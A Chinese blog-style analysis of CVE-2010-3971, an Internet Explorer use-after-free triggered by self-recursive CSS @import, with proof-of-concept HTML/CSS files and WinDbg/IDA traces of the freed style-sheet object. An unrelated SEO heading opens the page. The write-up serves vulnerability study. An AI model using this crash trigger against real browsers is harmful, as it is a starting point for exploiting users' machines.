绵阳专门做网站的公司/巨量数据分析入口

看了仙果版主的议题演讲，其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑。于是找来POC，尝试分析一下。

1.漏洞重现

XP SP3+ie6.0环境

poc如下：

poc.htm

<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />

 css.css

*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");

 

2.漏洞分析

首先来看漏洞的相关信息

可见是一个UAF漏洞。

用调试器加载POC，调试器断在异常处。用IDA加载mshtml.dll文件，异常位置如图红色部分

注意在这个函数里我们可以看到ecx寄存器未经任何处理就直接拿来使用，说明这是thiscall函数调用。而ecx也就是对象的this指针。

异常是由cmp dword ptr [ecx+14h],1 触发的，其中ecx地址不可读

而ecx的值由edi指定的。再往上看edi又是由[ecx+0b8h]得到的。

绕了这么一大圈，我们可以猜到：

ecx是this指针，edi是对象中的一个指针成员。

而由于UAF漏洞导致这个对象被释放了，所以对象中的数据已经不可靠了，所以这个指针就是个野指针了，所以就会产生异常了。

最近学到了UAF漏洞的要点是搞清楚三点：1.对象何时何处被分配？ 2.对象何时何处被释放？ 3.对象何时何处被重用？

这里触发异常明显就是因为被重用了。那么前两点的答案呢？我们继续分析。

 我们理一理思路，考虑一下。此时这个函数发生异常，说明对象已经被释放了，说明释放操作就发生在当前步骤之前，就是说我们可以通过回溯找到释放的操作。

事实的结果是回溯不到那个释放的函数。说明我这个想法并不能成功，于是通过分析该对象（CStyleSheet）的方法来找出释放的位置。

因为我们知道要想释放这个对象肯定要使用这个对象自己的提供的方法，那么就可以通过对释放的方法下断点来实现。

重新分析这个漏洞，win7 x86 +ie8环境。加载poc，程序崩溃。挂载windbg，启用ust，开启子进程调试，发现异常信息如下。

1:019> r
eax=00000000 ebx=17ef8f90 ecx=7770316f edx=00051078 esi=00000003 edi=1817cff0
eip=678b610d esp=045ed620 ebp=045ed62c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CSharedStyleSheet::Notify+0x1b:
678b610d 8b0f            mov     ecx,dword ptr [edi]  ds:0023:1817cff0=????????

看一下edi的来源问题，如下所示。可见edi来自于ecx+0xd8。又由于这是CSharedStyleSheet对象的一个方法函数，根据调用约定我们就可以知道，这个ecx就是对象的this指针。

1:019> ub 678b610d
mshtml!CSharedStyleSheet::Notify+0x6:
678b60f6 56              push    esi
678b60f7 8bb1d0000000    mov     esi,dword ptr [ecx+0D0h]
678b60fd 57              push    edi
678b60fe 8bb9d8000000    mov     edi,dword ptr [ecx+0D8h]
678b6104 33c0            xor     eax,eax
678b6106 c1ee02          shr     esi,2
678b6109 85f6            test    esi,esi
678b610b 7e12            jle     mshtml!CSharedStyleSheet::Notify+0x37 (678b611f)

为此，猜测edi是ecx对象的一个成员

1:019> dc ecx
7770316f  900008c2 90909090 8508458b c6850fc0  .........E......
7770317f  8000034b 7400e67d ccb7ff0b e8000000  K...}..t........
7770318f  ffff39ad 8c5d89c3 850fc085 fffffe26  .9....].....&...
7770319f  870fda3b fffffe16 04b04583 8bb0458b  ;........E...E..
777031af  e1eb4300 90909090 00b06890 d8680000  .C.......h....h.
777031bf  e8777008 ffff39f1 8bc45589 e05d89d9  .pw..9...U....].
777031cf  8941c933 45c6bc4d ff3300df 89d07d89  3.A.M..E..3..}..
777031df  7d89d87d 907d89a8 0f60c2f7 850f7d01  }..}..}...`..}..

为了验证我们的猜想我们来看一下分配记录，由分配的记录来看我们可以这个是CSharedStyleSheet对象，其实作为CSharedStyleSheet::Notify的this指针传进来的也只能是CSharedStyleSheet对象。

1:018> !heap -p -a ecxaddress 17590f08 found in_DPH_HEAP_ROOT @ 51000in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)178624ac:         17590f08               f8 -         17590000             2000mshtml!CSharedStyleSheet::`vftable'77888e89 verifier!AVrfDebugPageHeapAllocate+0x0000022977774ea6 ntdll!RtlDebugAllocateHeap+0x0000003077737d96 ntdll!RtlpAllocateHeap+0x000000c4777034ca ntdll!RtlAllocateHeap+0x0000023a685144dc mshtml!CSharedStyleSheet::Create+0x0000002368513eaa mshtml!CStyleSheetArray::CreateNewStyleSheet+0x00000054685266a7 mshtml!CLinkElement::HandleLinkedObjects+0x0000032f68526576 mshtml!CLinkElement::Notify+0x0000011a6850780a mshtml!CHtmRootParseCtx::FlushNotifications+0x000001bf68506bb5 mshtml!CHtmRootParseCtx::Commit+0x0000000a684f77cf mshtml!CHtmPost::Broadcast+0x0000000f684f7924 mshtml!CHtmPost::Exec+0x00000255684f8a99 mshtml!CHtmPost::Run+0x00000015684f89fd mshtml!PostManExecute+0x000001fb684f7c66 mshtml!PostManResume+0x000000f7685113f6 mshtml!CHtmPost::OnDwnChanCallback+0x00000010684f53fc mshtml!CDwnChan::OnMethodCall+0x00000019685994b2 mshtml!GlobalWndOnMethodCall+0x000000ff685837f7 mshtml!GlobalWndProc+0x0000010c774286ef USER32!InternalCallWinProc+0x0000002377428876 USER32!UserCallWinProcCheckWow+0x0000014b774289b5 USER32!DispatchMessageWorker+0x0000035e77428e9c USER32!DispatchMessageW+0x0000000f6b9104a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x000004526b920446 IEFRAME!LCIETab_ThreadProc+0x000002c176b749bd iertutil!CIsoScope::RegisterThread+0x000000ab768b1174 kernel32!BaseThreadInitThunk+0x0000000e7770b3f5 ntdll!__RtlUserThreadStart+0x000000707770b3c8 ntdll!_RtlUserThreadStart+0x0000001b

edi的内存是不可访的，如下所示

1:019> ? edi 
Evaluate expression: 404213744 = 1817cff0
1:019> dc edi
1817cff0  ???????? ???????? ???????? ????????  ????????????????
1817d000  ???????? ???????? ???????? ????????  ????????????????
1817d010  ???????? ???????? ???????? ????????  ????????????????
1817d020  ???????? ???????? ???????? ????????  ????????????????
1817d030  ???????? ???????? ???????? ????????  ????????????????
1817d040  ???????? ???????? ???????? ????????  ????????????????
1817d050  ???????? ???????? ???????? ????????  ????????????????
1817d060  ???????? ???????? ???????? ????????  ????????????????
1:019> !address ediProcessParametrs 00059840 in range 00059000 0005a000Environment 000577b0 in range 00057000 0005800018120000 : 1817c000 - 00001000Type     00020000 MEM_PRIVATEProtect  00000001 PAGE_NOACCESSState    00001000 MEM_COMMITUsage    RegionUsageIsVAD

到这里其实有点迷茫，因为edi的内存属性不是未分配的，而是已经VAD分配的，但是却没有访问权限。那么看下是不是已释放导致的没有访问权限，也就是启用堆调试才会有的东西。
尝试!heap -p -a一下看看。如下，果然是已经释放的堆内存。

1:019> !heap -p -a ediaddress 1817cff0 found in_DPH_HEAP_ROOT @ 51000in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)17e4298c:         1817c000             2000778890b2 verifier!AVrfDebugPageHeapFree+0x000000c277775674 ntdll!RtlDebugFreeHeap+0x0000002f77737aca ntdll!RtlpFreeHeap+0x0000005d77702d68 ntdll!RtlFreeHeap+0x0000014276ef3cab ole32!MIDL_user_free+0x0000001675ad0224 RPCRT4!NdrFreeTypeMemory+0x0000004675abf26b RPCRT4!NdrPointerFree+0x000000a875b34e9e RPCRT4!NdrpFreeParams+0x0000014575b34949 RPCRT4!NdrpCompleteAsyncServerCall+0x0000014575b35494 RPCRT4!Ndr64pCompleteAsyncCall+0x0000008475b35422 RPCRT4!RpcAsyncCompleteCall+0x0000001f76ea21af ole32!_UpdateResolverBindings+0x0000005275acfc8f RPCRT4!Invoke+0x0000002a75b347ea RPCRT4!NdrAsyncServerCall+0x000001e475acf34a RPCRT4!DispatchToStubInCNoAvrf+0x0000004a75b0fb70 RPCRT4!DispatchToStubInCAvrf+0x0000001675acf4da RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x0000016c75acf3c6 RPCRT4!RPC_INTERFACE::DispatchToStub+0x0000008b75ac3974 RPCRT4!LRPC_SCALL::DispatchRequest+0x0000025775acf7a4 RPCRT4!LRPC_SCALL::QueueOrDispatchCall+0x000000bd75acf763 RPCRT4!LRPC_SCALL::HandleRequest+0x0000034f75acf5ff RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x0000014475acf573 RPCRT4!LRPC_ADDRESS::HandleRequest+0x000000bd75acee4f RPCRT4!LRPC_ADDRESS::ProcessIO+0x0000050a75acece7 RPCRT4!LrpcServerIoHandler+0x0000001675ad1357 RPCRT4!LrpcIoComplete+0x00000016776dd3a3 ntdll!TppAlpcpExecuteCallback+0x000001c5776e0748 ntdll!TppWorkerThread+0x000005a4768b1174 kernel32!BaseThreadInitThunk+0x0000000e7770b3f5 ntdll!__RtlUserThreadStart+0x000000707770b3c8 ntdll!_RtlUserThreadStart+0x0000001b

 

附此漏洞的有关信息：

1.http://www.topsec.com.cn/aqtb/yjcg/ldyj/967.htm 天融信的分析报告

2.http://cve.scap.org.cn/cve-2010-3971.html SCAP的收录